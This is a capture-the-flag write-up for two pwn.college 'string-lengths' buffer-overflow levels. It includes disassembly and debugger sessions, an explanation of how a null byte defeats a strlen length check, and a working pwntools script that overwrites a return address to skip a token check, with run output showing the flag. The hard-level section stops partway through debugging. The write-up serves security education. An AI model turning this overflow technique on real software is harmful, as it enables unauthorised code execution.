| 0x00007fffea633fd0 (rsp+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007fffea633fd8 (rsp+0x0008) | 78 51 63 ea ff 7f 00 00 | 0x00007fffea635178 |
| 0x00007fffea633fe0 (rsp+0x0010) | 68 51 63 ea ff 7f 00 00 | 0x00007fffea635168 |
| 0x00007fffea633fe8 (rsp+0x0018) | a0 f6 f2 45 01 00 00 00 | 0x0000000145f2f6a0 |
| 0x00007fffea633ff0 (rsp+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007fffea633ff8 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007fffea634000 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007fffea634008 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007fffea634010 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007fffea634018 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007fffea634020 (rsp+0x0050) | 50 98 c6 46 38 5e 00 00 | 0x00005e3846c69850 |
| 0x00007fffea634028 (rsp+0x0058) | 70 50 63 ea ff 7f 00 00 | 0x00007fffea635070 |
| 0x00007fffea634030 (rsp+0x0060) | 20 82 c6 46 38 5e 00 00 | 0x00005e3846c68220 |
| 0x00007fffea634038 (rsp+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007fffea634040 (rsp+0x0070) | 70 50 63 ea ff 7f 00 00 | 0x00007fffea635070 |
| 0x00007fffea634048 (rsp+0x0078) | 41 98 c6 46 38 5e 00 00 | 0x00005e3846c69841 |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7fffea633fd0, and our base pointer points to 0x7fffea634040.
This means that we have (decimal) 16 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 128 bytes.
The input buffer begins at 0x7fffea633ff0, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 48 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.

In this level, there is no "win" variable.
You will need to force the program to execute the win_authed() function
by directly overflowing into the stored return address back to main,
which is stored at 0x7fffea634048, 88 bytes after the start of your input buffer.
That means that you will need to input at least 96 bytes (48 to fill the buffer,
40 to fill other stuff stored between the buffer and the return address,
and 8 that will overwrite the return address).

We have disabled the following standard memory corruption mitigations for this challenge:
- the canary is disabled, otherwise you would corrupt it before
overwriting the return address, and the program would abort.
You have chosen to send 4096 bytes of input!
This will allow you to write from 0x7fffea633ff0 (the start of the input buffer)
right up to (but not including) 0x7fffea634ff0 (which is 4048 bytes beyond the end of the buffer).
Of these, you will overwrite 4008 bytes into the return address.
If that number is greater than 8, you will overwrite the entire return address.

One caveat in this challenge is that the win_authed() function must first auth:
it only lets you win if you provide it with the argument 0x1337.
Speifically, the win_authed() function looks something like:
void win_authed(int token)
{
if (token != 0x1337) return;
puts("You win! Here is your flag: ");
sendfile(1, open("/flag", 0), 0, 256);
puts("");
}

So how do you pass the check? There *is* a way, and we will cover it later,
but for now, we will simply bypass it! You can overwrite the return address
with *any* value (as long as it points to executable code), not just the start
of functions. Let's overwrite past the token check in win!

To do this, we will need to analyze the program with objdump, identify where
the check is in the win_authed() function, find the address right after the check,
and write that address over the saved return address.

Go ahead and find this address now. When you're ready, input a buffer overflow
that will overwrite the saved return address (at 0x7fffea634048, 88 bytes into the buffer)
with the correct value.

This challenge is careful about reading your input: it will allocate a correctly-sized temporary
buffer on the heap, and then copy the data over to the stack. Can you figure out a way to fool
this technique and cause an overflow?
Send your payload (up to 4096 bytes)!

Let's observe how the program is using our input.

char *tmp_input = malloc(4096);

Allocates a 4096-byte heap buffer for user inpu

read(0, tmp_input, 4096);

Reads up to 4096 raw bytes from STDIN into that buffer.

assert(strlen(tmp_input) < 48);

Checks if the value of strlen(tmp_input) is less than 48 bytes. The probklem with this implementation is that

memcpy(&data.input, tmp_input, received);

Copies received number of bytes from tmp_input into data.input.

The problem is in how the assertion is made using strlen().

size_t strlen(const char *s);

It calculates the length of the string pointed to by s, excluding the terminating NULL byte (\x00).

This means we can include a \x00 byte in the first 48 bytes of our payload, and the assertion will be satisfied because the value of strlen(tmp_input) < 48. After that, we can add as musch padding as needed in order to reach the saved return address. And then replace saved return address with the offset of an instruction within win_authed() which skips the check.

Disassembly

hacker@binary-exploitation~string-lengths-easy:/$ objdump -d -M intel --disassemble=win_authed /challenge/binary-exploitation-null-write-w

/challenge/binary-exploitation-null-write-w: file format elf64-x86-64


Disassembly of section .init:

Disassembly of section .plt:

Disassembly of section .plt.got:

Disassembly of section .plt.sec:

Disassembly of section .text:

0000000000001ff6 <win_authed>:
1ff6: f3 0f 1e fa endbr64
1ffa: 55 push rbp
1ffb: 48 89 e5 mov rbp,rsp
1ffe: 48 83 ec 10 sub rsp,0x10
2002: 89 7d fc mov DWORD PTR [rbp-0x4],edi
2005: 81 7d fc 37 13 00 00 cmp DWORD PTR [rbp-0x4],0x1337
200c: 0f 85 fe 00 00 00 jne 2110 <win_authed+0x11a>
2012: 48 8d 3d d7 10 00 00 lea rdi,[rip+0x10d7] # 30f0 <_IO_stdin_used+0xf0>
2019: e8 32 f1 ff ff call 1150 <puts@plt>
201e: be 00 00 00 00 mov esi,0x0
2023: 48 8d 3d e2 10 00 00 lea rdi,[rip+0x10e2] # 310c <_IO_stdin_used+0x10c>
202a: b8 00 00 00 00 mov eax,0x0
202f: e8 bc f1 ff ff call 11f0 <open@plt>
2034: 89 05 06 40 00 00 mov DWORD PTR [rip+0x4006],eax # 6040 <flag_fd.5715>
203a: 8b 05 00 40 00 00 mov eax,DWORD PTR [rip+0x4000] # 6040 <flag_fd.5715>
2040: 85 c0 test eax,eax
2042: 79 4d jns 2091 <win_authed+0x9b>
2044: e8 f7 f0 ff ff call 1140 <__errno_location@plt>
2049: 8b 00 mov eax,DWORD PTR [rax]
204b: 89 c7 mov edi,eax
204d: e8 be f1 ff ff call 1210 <strerror@plt>
2052: 48 89 c6 mov rsi,rax
2055: 48 8d 3d bc 10 00 00 lea rdi,[rip+0x10bc] # 3118 <_IO_stdin_used+0x118>
205c: b8 00 00 00 00 mov eax,0x0
2061: e8 1a f1 ff ff call 1180 <printf@plt>
2066: e8 35 f1 ff ff call 11a0 <geteuid@plt>
206b: 85 c0 test eax,eax
206d: 74 18 je 2087 <win_authed+0x91>
206f: 48 8d 3d d2 10 00 00 lea rdi,[rip+0x10d2] # 3148 <_IO_stdin_used+0x148>
2076: e8 d5 f0 ff ff call 1150 <puts@plt>
207b: 48 8d 3d ee 10 00 00 lea rdi,[rip+0x10ee] # 3170 <_IO_stdin_used+0x170>
2082: e8 c9 f0 ff ff call 1150 <puts@plt>
2087: bf ff ff ff ff mov edi,0xffffffff
208c: e8 6f f1 ff ff call 1200 <exit@plt>
2091: 8b 05 a9 3f 00 00 mov eax,DWORD PTR [rip+0x3fa9] # 6040 <flag_fd.5715>
2097: ba 00 01 00 00 mov edx,0x100
209c: 48 8d 35 bd 3f 00 00 lea rsi,[rip+0x3fbd] # 6060 <flag.5714>
20a3: 89 c7 mov edi,eax
20a5: e8 06 f1 ff ff call 11b0 <read@plt>
20aa: 89 05 b0 40 00 00 mov DWORD PTR [rip+0x40b0],eax # 6160 <flag_length.5716>
20b0: 8b 05 aa 40 00 00 mov eax,DWORD PTR [rip+0x40aa] # 6160 <flag_length.5716>
20b6: 85 c0 test eax,eax
20b8: 7f 2c jg 20e6 <win_authed+0xf0>
20ba: e8 81 f0 ff ff call 1140 <__errno_location@plt>
20bf: 8b 00 mov eax,DWORD PTR [rax]
20c1: 89 c7 mov edi,eax
20c3: e8 48 f1 ff ff call 1210 <strerror@plt>
20c8: 48 89 c6 mov rsi,rax
20cb: 48 8d 3d f6 10 00 00 lea rdi,[rip+0x10f6] # 31c8 <_IO_stdin_used+0x1c8>
20d2: b8 00 00 00 00 mov eax,0x0
20d7: e8 a4 f0 ff ff call 1180 <printf@plt>
20dc: bf ff ff ff ff mov edi,0xffffffff
20e1: e8 1a f1 ff ff call 1200 <exit@plt>
20e6: 8b 05 74 40 00 00 mov eax,DWORD PTR [rip+0x4074] # 6160 <flag_length.5716>
20ec: 48 98 cdqe
20ee: 48 89 c2 mov rdx,rax
20f1: 48 8d 35 68 3f 00 00 lea rsi,[rip+0x3f68] # 6060 <flag.5714>
20f8: bf 01 00 00 00 mov edi,0x1
20fd: e8 5e f0 ff ff call 1160 <write@plt>
2102: 48 8d 3d e9 10 00 00 lea rdi,[rip+0x10e9] # 31f2 <_IO_stdin_used+0x1f2>
2109: e8 42 f0 ff ff call 1150 <puts@plt>
210e: eb 01 jmp 2111 <win_authed+0x11b>
2110: 90 nop
2111: c9 leave
2112: c3 ret

Disassembly of section .fini:

We have to directly jump to the instruction right after the check, which is 200c.

Exploit

from pwn import *

padding = b"A" * 47 + b"\x00" + b"A" * 40
payload = padding + b"\x0c\x20"

attempt = 0

while True:
attempt += 1
print(f"[+] Attempt {attempt}")

p = process('/challenge/binary-exploitation-null-write-w')
try:
p.recvuntil("bytes)!")
p.send(payload)
output = p.recvall(timeout=1).decode(errors="ignore")

if "pwn.college{" in output:
print("[!!!] FLAG FOUND !!!")
print(output)
break

except Exception:
pass
finally:
p.close()
hacker@binary-exploitation~string-lengths-easy:/$ python ~/script.py
[+] Attempt 1
[+] Starting local process '/challenge/binary-exploitation-null-write-w': pid 20047
/home/hacker/script.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("bytes)!")
[+] Receiving all data: Done (2.60KB)
[*] Process '/challenge/binary-exploitation-null-write-w' stopped with exit code -11 (SIGSEGV) (pid 20047)
[+] Attempt 2
[+] Starting local process '/challenge/binary-exploitation-null-write-w': pid 20050
[+] Receiving all data: Done (2.69KB)
[*] Process '/challenge/binary-exploitation-null-write-w' stopped with exit code -7 (SIGBUS) (pid 20050)
[!!!] FLAG FOUND !!!

Checking length of received string...
Passed! We should have enough space for all 47 bytes of it on the stack. Copying all 90 received bytes!
You sent 1094795585 bytes!
Let's see what happened with the stack:

+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffe067c69e0 (rsp+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe067c69e8 (rsp+0x0008) | 88 7b 7c 06 fe 7f 00 00 | 0x00007ffe067c7b88 |
| 0x00007ffe067c69f0 (rsp+0x0010) | 78 7b 7c 06 fe 7f 00 00 | 0x00007ffe067c7b78 |
| 0x00007ffe067c69f8 (rsp+0x0018) | a0 76 27 87 01 00 00 00 | 0x00000001872776a0 |
| 0x00007ffe067c6a00 (rsp+0x0020) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe067c6a08 (rsp+0x0028) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe067c6a10 (rsp+0x0030) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe067c6a18 (rsp+0x0038) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe067c6a20 (rsp+0x0040) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe067c6a28 (rsp+0x0048) | 41 41 41 41 41 41 41 00 | 0x0041414141414141 |
| 0x00007ffe067c6a30 (rsp+0x0050) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe067c6a38 (rsp+0x0058) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe067c6a40 (rsp+0x0060) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe067c6a48 (rsp+0x0068) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe067c6a50 (rsp+0x0070) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe067c6a58 (rsp+0x0078) | 0c 20 e1 9a ef 5d 00 00 | 0x00005def9ae1200c |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7ffe067c6a00
- the saved frame pointer (of main) is at 0x7ffe067c6a50
- the saved return address (previously to main) is at 0x7ffe067c6a58
- the saved return address is now pointing to 0x5def9ae1200c.
- the address of win_authed() is 0x5def9ae11ff6.

If you have managed to overwrite the return address with the correct value,
challenge() will jump straight to win_authed() when it returns.
Let's try it now!

WARNING: You sent in too much data, and overwrote more than two bytes of the address.
This can still work, because I told you the correct address to use for
this execution, but you should not rely on that information.
You can solve this challenge by only overwriting two bytes!

Goodbye!
You win! Here is your flag:
pwn.college{ojEGJTgIDB6C4blVcYcIEM8xj9f.01MwMDL4ITM0EzW}

 

String lengths (hard)

hacker@binary-exploitation~string-lengths-hard:/$ /challenge/binary-exploitation-null-write 
Send your payload (up to 4096 bytes)!

In this challenge, we need the following in order to perform a buffer overflow:

  • Location of buffer
  • Distance of return address to main() from the data.input
  • Page offset of instruction in win_authed() function which skips the checks
  • Maximum allowed length of tmp_input

Disassembly

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000001000 _init
0x0000000000001110 __cxa_finalize@plt
0x0000000000001120 __errno_location@plt
0x0000000000001130 puts@plt
0x0000000000001140 write@plt
0x0000000000001150 strlen@plt
0x0000000000001160 printf@plt
0x0000000000001170 __assert_fail@plt
0x0000000000001180 geteuid@plt
0x0000000000001190 read@plt
0x00000000000011a0 memcpy@plt
0x00000000000011b0 malloc@plt
0x00000000000011c0 setvbuf@plt
0x00000000000011d0 open@plt
0x00000000000011e0 exit@plt
0x00000000000011f0 strerror@plt
0x0000000000001200 _start
0x0000000000001230 deregister_tm_clones
0x0000000000001260 register_tm_clones
0x00000000000012a0 __do_global_dtors_aux
0x00000000000012e0 frame_dummy
0x00000000000012e9 bin_padding
0x0000000000001a03 win_authed
0x0000000000001b20 challenge
0x0000000000001c65 main
0x0000000000001d00 __libc_csu_init
0x0000000000001d70 __libc_csu_fini
0x0000000000001d78 _fini

win_authed()

pwndbg> disassemble win_authed
Dump of assembler code for function win_authed:
0x0000000000001a03 <+0>: endbr64
0x0000000000001a07 <+4>: push rbp
0x0000000000001a08 <+5>: mov rbp,rsp
0x0000000000001a0b <+8>: sub rsp,0x10
0x0000000000001a0f <+12>: mov DWORD PTR [rbp-0x4],edi
0x0000000000001a12 <+15>: cmp DWORD PTR [rbp-0x4],0x1337
0x0000000000001a19 <+22>: jne 0x1b1d <win_authed+282>
0x0000000000001a1f <+28>: lea rdi,[rip+0x5e2] # 0x2008
0x0000000000001a26 <+35>: call 0x1130 <puts@plt>
0x0000000000001a2b <+40>: mov esi,0x0
0x0000000000001a30 <+45>: lea rdi,[rip+0x5ed] # 0x2024
0x0000000000001a37 <+52>: mov eax,0x0
0x0000000000001a3c <+57>: call 0x11d0 <open@plt>
0x0000000000001a41 <+62>: mov DWORD PTR [rip+0x25f9],eax # 0x4040 <flag_fd.5701>
0x0000000000001a47 <+68>: mov eax,DWORD PTR [rip+0x25f3] # 0x4040 <flag_fd.5701>
0x0000000000001a4d <+74>: test eax,eax
0x0000000000001a4f <+76>: jns 0x1a9e <win_authed+155>
0x0000000000001a51 <+78>: call 0x1120 <__errno_location@plt>
0x0000000000001a56 <+83>: mov eax,DWORD PTR [rax]
0x0000000000001a58 <+85>: mov edi,eax
0x0000000000001a5a <+87>: call 0x11f0 <strerror@plt>
0x0000000000001a5f <+92>: mov rsi,rax
0x0000000000001a62 <+95>: lea rdi,[rip+0x5c7] # 0x2030
0x0000000000001a69 <+102>: mov eax,0x0
0x0000000000001a6e <+107>: call 0x1160 <printf@plt>
0x0000000000001a73 <+112>: call 0x1180 <geteuid@plt>
0x0000000000001a78 <+117>: test eax,eax
0x0000000000001a7a <+119>: je 0x1a94 <win_authed+145>
0x0000000000001a7c <+121>: lea rdi,[rip+0x5dd] # 0x2060
0x0000000000001a83 <+128>: call 0x1130 <puts@plt>
0x0000000000001a88 <+133>: lea rdi,[rip+0x5f9] # 0x2088
0x0000000000001a8f <+140>: call 0x1130 <puts@plt>
0x0000000000001a94 <+145>: mov edi,0xffffffff
0x0000000000001a99 <+150>: call 0x11e0 <exit@plt>
0x0000000000001a9e <+155>: mov eax,DWORD PTR [rip+0x259c] # 0x4040 <flag_fd.5701>
0x0000000000001aa4 <+161>: mov edx,0x100
0x0000000000001aa9 <+166>: lea rsi,[rip+0x25b0] # 0x4060 <flag.5700>
0x0000000000001ab0 <+173>: mov edi,eax
0x0000000000001ab2 <+175>: call 0x1190 <read@plt>
0x0000000000001ab7 <+180>: mov DWORD PTR [rip+0x26a3],eax # 0x4160 <flag_length.5702>
0x0000000000001abd <+186>: mov eax,DWORD PTR [rip+0x269d] # 0x4160 <flag_length.5702>
0x0000000000001ac3 <+192>: test eax,eax
0x0000000000001ac5 <+194>: jg 0x1af3 <win_authed+240>
0x0000000000001ac7 <+196>: call 0x1120 <__errno_location@plt>
0x0000000000001acc <+201>: mov eax,DWORD PTR [rax]
0x0000000000001ace <+203>: mov edi,eax
0x0000000000001ad0 <+205>: call 0x11f0 <strerror@plt>
0x0000000000001ad5 <+210>: mov rsi,rax
0x0000000000001ad8 <+213>: lea rdi,[rip+0x601] # 0x20e0
0x0000000000001adf <+220>: mov eax,0x0
0x0000000000001ae4 <+225>: call 0x1160 <printf@plt>
0x0000000000001ae9 <+230>: mov edi,0xffffffff
0x0000000000001aee <+235>: call 0x11e0 <exit@plt>
0x0000000000001af3 <+240>: mov eax,DWORD PTR [rip+0x2667] # 0x4160 <flag_length.5702>
0x0000000000001af9 <+246>: cdqe
0x0000000000001afb <+248>: mov rdx,rax
0x0000000000001afe <+251>: lea rsi,[rip+0x255b] # 0x4060 <flag.5700>
0x0000000000001b05 <+258>: mov edi,0x1
0x0000000000001b0a <+263>: call 0x1140 <write@plt>
0x0000000000001b0f <+268>: lea rdi,[rip+0x5f4] # 0x210a
0x0000000000001b16 <+275>: call 0x1130 <puts@plt>
0x0000000000001b1b <+280>: jmp 0x1b1e <win_authed+283>
0x0000000000001b1d <+282>: nop
0x0000000000001b1e <+283>: leave
0x0000000000001b1f <+284>: ret
End of assembler dump.
# --- snip ---

0x0000000000001a07 <+4>: push rbp
0x0000000000001a08 <+5>: mov rbp,rsp
0x0000000000001a0b <+8>: sub rsp,0x10
0x0000000000001a0f <+12>: mov DWORD PTR [rbp-0x4],edi
0x0000000000001a12 <+15>: cmp DWORD PTR [rbp-0x4],0x1337
0x0000000000001a19 <+22>: jne 0x1b1d <win_authed+282>
0x0000000000001a1f <+28>: lea rdi,[rip+0x5e2] # 0x2008

# --- snip ---

0x0000000000001b1d <+282>: nop

# --- snip ---

We can see that the check happens at offset 0x1a19. Thus in order to skip it, we will have to return to 0x1a1f.

  • Location of buffer
  • Distance of return address to main() from the data.input
  • Page offset of instruction in win_authed() function which skips the checks: 0x1a1f
  • Maximum allowed length of tmp_input

challenge()

pwndbg> disassemble challenge
Dump of assembler code for function challenge:
0x0000000000001b20 <+0>: endbr64
0x0000000000001b24 <+4>: push rbp
0x0000000000001b25 <+5>: mov rbp,rsp
0x0000000000001b28 <+8>: sub rsp,0x70
0x0000000000001b2c <+12>: mov DWORD PTR [rbp-0x54],edi
0x0000000000001b2f <+15>: mov QWORD PTR [rbp-0x60],rsi
0x0000000000001b33 <+19>: mov QWORD PTR [rbp-0x68],rdx
0x0000000000001b37 <+23>: mov QWORD PTR [rbp-0x50],0x0
0x0000000000001b3f <+31>: mov QWORD PTR [rbp-0x48],0x0
0x0000000000001b47 <+39>: mov QWORD PTR [rbp-0x40],0x0
0x0000000000001b4f <+47>: mov QWORD PTR [rbp-0x38],0x0
0x0000000000001b57 <+55>: mov BYTE PTR [rbp-0x30],0x0
0x0000000000001b5b <+59>: mov QWORD PTR [rbp-0x8],0x0
0x0000000000001b63 <+67>: mov QWORD PTR [rbp-0x8],0x1000
0x0000000000001b6b <+75>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000001b6f <+79>: mov rdi,rax
0x0000000000001b72 <+82>: call 0x11b0 <malloc@plt>
0x0000000000001b77 <+87>: mov QWORD PTR [rbp-0x10],rax
0x0000000000001b7b <+91>: cmp QWORD PTR [rbp-0x10],0x0
0x0000000000001b80 <+96>: jne 0x1ba1 <challenge+129>
0x0000000000001b82 <+98>: lea rcx,[rip+0x637] # 0x21c0 <__PRETTY_FUNCTION__.5713>
0x0000000000001b89 <+105>: mov edx,0x49
0x0000000000001b8e <+110>: lea rsi,[rip+0x57b] # 0x2110
0x0000000000001b95 <+117>: lea rdi,[rip+0x5a0] # 0x213c
0x0000000000001b9c <+124>: call 0x1170 <__assert_fail@plt>
0x0000000000001ba1 <+129>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000001ba5 <+133>: mov rsi,rax
0x0000000000001ba8 <+136>: lea rdi,[rip+0x5a1] # 0x2150
0x0000000000001baf <+143>: mov eax,0x0
0x0000000000001bb4 <+148>: call 0x1160 <printf@plt>
0x0000000000001bb9 <+153>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000001bbd <+157>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000001bc1 <+161>: mov rsi,rax
0x0000000000001bc4 <+164>: mov edi,0x0
0x0000000000001bc9 <+169>: call 0x1190 <read@plt>
0x0000000000001bce <+174>: mov DWORD PTR [rbp-0x14],eax
0x0000000000001bd1 <+177>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000001bd5 <+181>: mov rdi,rax
0x0000000000001bd8 <+184>: call 0x1150 <strlen@plt>
0x0000000000001bdd <+189>: mov QWORD PTR [rbp-0x20],rax
0x0000000000001be1 <+193>: cmp QWORD PTR [rbp-0x20],0x20
0x0000000000001be6 <+198>: jbe 0x1c07 <challenge+231>
0x0000000000001be8 <+200>: lea rcx,[rip+0x5d1] # 0x21c0 <__PRETTY_FUNCTION__.5713>
0x0000000000001bef <+207>: mov edx,0x4d
0x0000000000001bf4 <+212>: lea rsi,[rip+0x515] # 0x2110
0x0000000000001bfb <+219>: lea rdi,[rip+0x574] # 0x2176
0x0000000000001c02 <+226>: call 0x1170 <__assert_fail@plt>
0x0000000000001c07 <+231>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000001c0a <+234>: movsxd rdx,eax
0x0000000000001c0d <+237>: mov rcx,QWORD PTR [rbp-0x10]
0x0000000000001c11 <+241>: lea rax,[rbp-0x50]
0x0000000000001c15 <+245>: mov rsi,rcx
0x0000000000001c18 <+248>: mov rdi,rax
0x0000000000001c1b <+251>: call 0x11a0 <memcpy@plt>
0x0000000000001c20 <+256>: cmp DWORD PTR [rbp-0x14],0x0
0x0000000000001c24 <+260>: jns 0x1c52 <challenge+306>
0x0000000000001c26 <+262>: call 0x1120 <__errno_location@plt>
0x0000000000001c2b <+267>: mov eax,DWORD PTR [rax]
0x0000000000001c2d <+269>: mov edi,eax
0x0000000000001c2f <+271>: call 0x11f0 <strerror@plt>
0x0000000000001c34 <+276>: mov rsi,rax
0x0000000000001c37 <+279>: lea rdi,[rip+0x552] # 0x2190
0x0000000000001c3e <+286>: mov eax,0x0
0x0000000000001c43 <+291>: call 0x1160 <printf@plt>
0x0000000000001c48 <+296>: mov edi,0x1
0x0000000000001c4d <+301>: call 0x11e0 <exit@plt>
0x0000000000001c52 <+306>: lea rdi,[rip+0x55b] # 0x21b4
0x0000000000001c59 <+313>: call 0x1130 <puts@plt>
0x0000000000001c5e <+318>: mov eax,0x0
0x0000000000001c63 <+323>: leave
0x0000000000001c64 <+324>: ret
End of assembler dump.

strlen@plt

size_t strlen(const char *s);
# --- snip ---

0x0000000000001bce <+174>: mov DWORD PTR [rbp-0x14],eax
0x0000000000001bd1 <+177>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000001bd5 <+181>: mov rdi,rax
0x0000000000001bd8 <+184>: call 0x1150 <strlen@plt>
0x0000000000001bdd <+189>: mov QWORD PTR [rbp-0x20],rax
0x0000000000001be1 <+193>: cmp QWORD PTR [rbp-0x20],0x20
0x0000000000001be6 <+198>: jbe 0x1c07 <challenge+231>
0x0000000000001be8 <+200>: lea rcx,[rip+0x5d1] # 0x21c0 <__PRETTY_FUNCTION__.5713>
0x0000000000001bef <+207>: mov edx,0x4d
0x0000000000001bf4 <+212>: lea rsi,[rip+0x515] # 0x2110
0x0000000000001bfb <+219>: lea rdi,[rip+0x574] # 0x2176
0x0000000000001c02 <+226>: call 0x1170 <__assert_fail@plt>
0x0000000000001c07 <+231>: mov eax,DWORD PTR [rbp-0x14]

# --- snip ---

We can see that the program expects the the output of the strlen@plt call to be less than or equal to 32.

  • Location of buffer
  • Distance of return address to main() from the data.input
  • Page offset of instruction in win_authed() function which skips the checks: 0x1a1f
  • Maximum allowed length of tmp_input: 32
# --- snip ---

0x0000000000001bb9 <+153>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000001bbd <+157>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000001bc1 <+161>: mov rsi,rax
0x0000000000001bc4 <+164>: mov edi,0x0
0x0000000000001bc9 <+169>: call 0x1190 <read@plt>

# --- snip ---

Now, we need to obtain the other set of information. Let's set a breakpoint at challenge+169 and run the program.

pwndbg> break *(challenge+169)
Breakpoint 1 at 0x1bc9
pwndbg> run
Starting program: /challenge/binary-exploitation-null-write
Send your payload (up to 4096 bytes)!

────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────
RAX 0x5721730002a0 ◂— 0
RBX 0x572150a18d00 (__libc_csu_init) ◂— endbr64
RCX 0
RDX 0x1000
RDI 0
RSI 0x5721730002a0 ◂— 0
R8 0x26
R9 0x26
R10 0x572150a1916c ◂— ' bytes)!\n'
R11 0x246
R12 0x572150a18200 (_start) ◂— endbr64
R13 0x7fff27b40ec0 ◂— 1
R14 0
R15 0
RBP 0x7fff27b3fda0 —▸ 0x7fff27b40dd0 ◂— 0
RSP 0x7fff27b3fd30 ◂— 0
RIP 0x572150a18bc9 (challenge+169) ◂— call read@plt
─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────
► 0x572150a18bc9 <challenge+169> call read@plt <read@plt>
fd: 0 (/dev/pts/1)
buf: 0x5721730002a0 ◂— 0
nbytes: 0x1000

0x572150a18bce <challenge+174> mov dword ptr [rbp - 0x14], eax
0x572150a18bd1 <challenge+177> mov rax, qword ptr [rbp - 0x10]
0x572150a18bd5 <challenge+181> mov rdi, rax
0x572150a18bd8 <challenge+184> call strlen@plt <strlen@plt>

0x572150a18bdd <challenge+189> mov qword ptr [rbp - 0x20], rax
0x572150a18be1 <challenge+193> cmp qword ptr [rbp - 0x20], 0x20
0x572150a18be6 <challenge+198> jbe challenge+231 <challenge+231>

0x572150a18be8 <challenge+200> lea rcx, [rip + 0x5d1] RCX => 0x572150a191c0 (__PRETTY_FUNCTION__.5713) ◂— 'challenge'
0x572150a18bef <challenge+207> mov edx, 0x4d EDX => 0x4d
0x572150a18bf4 <challenge+212> lea rsi, [rip + 0x515] RSI => 0x572150a19110 ◂— '/challenge/binary-exploitation-null-write.c'
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fff27b3fd30 ◂— 0
01:0008│-068 0x7fff27b3fd38 —▸ 0x7fff27b40ed8 —▸ 0x7fff27b416df ◂— 'SHELL=/run/dojo/bin/bash'
02:0010│-060 0x7fff27b3fd40 —▸ 0x7fff27b40ec8 —▸ 0x7fff27b416b5 ◂— '/challenge/binary-exploitation-null-write'
03:0018│-058 0x7fff27b3fd48 ◂— 0x1c0bd06a0
04:0020│-050 0x7fff27b3fd50 ◂— 0
... ↓ 3 skipped
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► 0 0x572150a18bc9 challenge+169
1 0x572150a18ceb main+134
2 0x7aeac0a07083 __libc_start_main+243
3 0x572150a1822e _start+46
───────────────────────────────────────────────────────────────────────────────────────────────────────────────
  • Location of buffer: 0x6278372202a0
  • Distance of return address to main() from the data.input
  • Page offset of instruction in win_authed() function which skips the checks: 0x1a1f
  • Maximum allowed of tmp_input: 32

memcpy@plt

void* memcpy(void* restrict destination, const void* restrict source, size_t count);
arg0 (%rdi)arg1 (%rsi)arg2 (%rdx)
void* restrict destinationconst void* restrict sourcesize_t count

The first argument which is passed in rdi has the location where the data is to be copied, i.e. data.input.

# --- snip ---

0x0000000000001c07 <+231>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000001c0a <+234>: movsxd rdx,eax
0x0000000000001c0d <+237>: mov rcx,QWORD PTR [rbp-0x10]
0x0000000000001c11 <+241>: lea rax,[rbp-0x50]
0x0000000000001c15 <+245>: mov rsi,rcx
0x0000000000001c18 <+248>: mov rdi,rax
0x0000000000001c1b <+251>: call 0x11a0 <memcpy@plt>

# --- snip ---

Let's put a breakpoint at challenge+251, which is right before the call to memcpy@plt is made.

pwndbg> break *(challenge+251)
Breakpoint 2 at 0x572150a18c1b
pwndbg> c
Continuing.
aaaaaaaaaaaaaaaaaa

Breakpoint 2, 0x00005a2479357c1b in challenge ()
*RAX 0x7fff1b393490 ◂— 0
RBX 0x5a2479357d00 (__libc_csu_init) ◂— endbr64
*RCX 0x5a247b3472a0 ◂— 'aaaaaaaaaaaaaaaaaa\n'
*RDX 0x13
*RDI 0x7fff1b393490 ◂— 0
RSI 0x5a247b3472a0 ◂— 'aaaaaaaaaaaaaaaaaa\n'
*R8 0xffff
R9 0x26
R10 0x5a247935816c ◂— ' bytes)!\n'
R11 0x246
R12 0x5a2479357200 (_start) ◂— endbr64
